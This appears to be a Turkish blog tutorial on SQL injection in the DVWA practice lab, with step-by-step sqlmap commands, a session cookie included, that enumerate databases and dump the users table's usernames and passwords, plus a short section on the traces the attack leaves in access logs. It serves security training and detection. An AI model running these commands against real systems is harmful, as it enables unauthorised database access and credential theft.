DVWA – SQL Injection

Amaç

DVWA Lab. ortamında SQL Injection zafiyetinin bir saldırgan tarafından nasıl istismar edileceği ve saldırı neticesinde erişim log kayıtlarında nasıl izler oluşacağını öğrenmek.

SQL Injection nedir ?

Veritabanına dayalı web uygulamarına yetkisiz erişim gerçekleştirmek amacıyla kullanılan, hazırda bulunan SQL sorgularına yeni SQL ifadeleri ekleyerek (enjekte) gerçekleştirilen bir saldırı türüdür. Kullanılan uygulama içerisinde bulunan açıklıklardan faydalanılarak herhangi bir veriye SQL ifadeleri eklenir ve herhangi bir filtreleme işlemi yoksa eklenen SQL ifadeleri veritabanında bulunan hassas verileri önümüze getirir.

Bu saldırı neticesinde döndürülen SQL sorguları sonucu veritabanında bulunan önemli verilere ulaşılabileceği gibi, veritabanında değişiklik, internet sayfasının hacklenmesi gibi işlemlerde yapılabilir.

SQL Injection saldırıları oldukça kapsamlı olmakla birlikte ayrı bir uzmanlık gerektirmektedir. SQL Injection saldırı türleri; In-band , Error-based,Union-based,Boolean-based (content-based), Time-based Blind, Out-of-band vb. farklı başlıklar altında sınıflandırılmaktadır.

Sqlmap Aracı Kullanımı ve Ubuntu’da Kurulum

Sqlmap aracı sayesinde hedef sitede SQL Injection zafiyetinin olup olmadığını kolayca otomatik olarak test edebilir ve yardım parametreleri sayesinde zafiyetten faydalanarak kolay bir şekilde hassas verilere ulaşabilirsiniz. Sqlmap aracı kali linux dağıtımında kurulu bir şekilde gelmektedir. Fakat ben bu yazıyı yazdığım esnada ubuntu kullandığım için, ubuntu’da bu aracın nasıl kurulacağı hakkında kısa bir bilgilendirme yapacağım. Sırayla aşağıdaki komutları terminal satırına yazarak başarılı bir şekilde ubuntu dağıtımında sqlmap aracını kurabilirsiniz.

  • sudo apt-get install git
  • git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
  • cd sqlmap-dev
  • python sqlmap.py –h

DVWA SQL Injection Zafiyeti ve İstismarı

Aşağıda ekran görüldüğü üzere USER ID formu bulunmaktadır. Bu formda girilen USER ID bilgisine göre kullanıcı adı soyadı verilmektedir. Burada sqlmap aracını kullanarak SQL Injection açığından faydalanıp veritabanında bulunan hassas bilgilere nasıl ulaşacağımızı göstereceğiz.

Sqlmap aracının kullanımı ile ilgili yardım parametreleri sayfasına bakabilirsiniz. Burada DVWA uygulamasında low seviyesinde zafiyet denenmiştir. Zafiyeti denemeden önce cookie bilgisi kısmında PHPSESSID kısmını kendinize göre sqlmap komutlarında düzeltiniz.

Öncelikle hedef sitemizi belirterek veritabanlarını keşfetmeye çalışıyoruz.

  • python sqlmap.py -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low;PHPSESSID=lcjgou55cr676ailv21jj2tbf5″ -dbs

Sonrasında dvwa veritabanını seçerek yer alan tabloları listeliyoruz.

  • python sqlmap.py -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low;PHPSESSID=lcjgou55cr676ailv21jj2tbf5″ -D dvwa –tables

Tablolar içerisinde bizlere yarayacak olan özellikle users tablosunu görüntülemeye çalışıyoruz. Çünkü bu tablo içerisinde admin dahil kullanıcılara ait bilgilerin olabileceğini biliyoruz.

  • python sqlmap.py -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low;PHPSESSID=lcjgou55cr676ailv21jj2tbf5″ -D dvwa -T users –columns

Sonrasında ise veritabanında user ve password kolonlarında yer alan bilgileri görmeye çalışıyoruz.

  • python sqlmap.py -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low;PHPSESSID=lcjgou55cr676ailv21jj2tbf5″ -D dvwa -T users -C user,password –dump

SQL Injection Saldırısı ve Erişim Log Kayıtlarına Düşen İzler

Aşağıda log kayıtlarında görüldüğü üzere sqlmap aracılığı ile gerçekleştirilen SQL Injection saldırısı sonucu kullanılan programın adı (sqlmap) ve yazılımın otomatik olarak hedef sitede denediği sql ifadeleri (select,concat vb.) log kayıtlarına düşmüştür.

Site Footer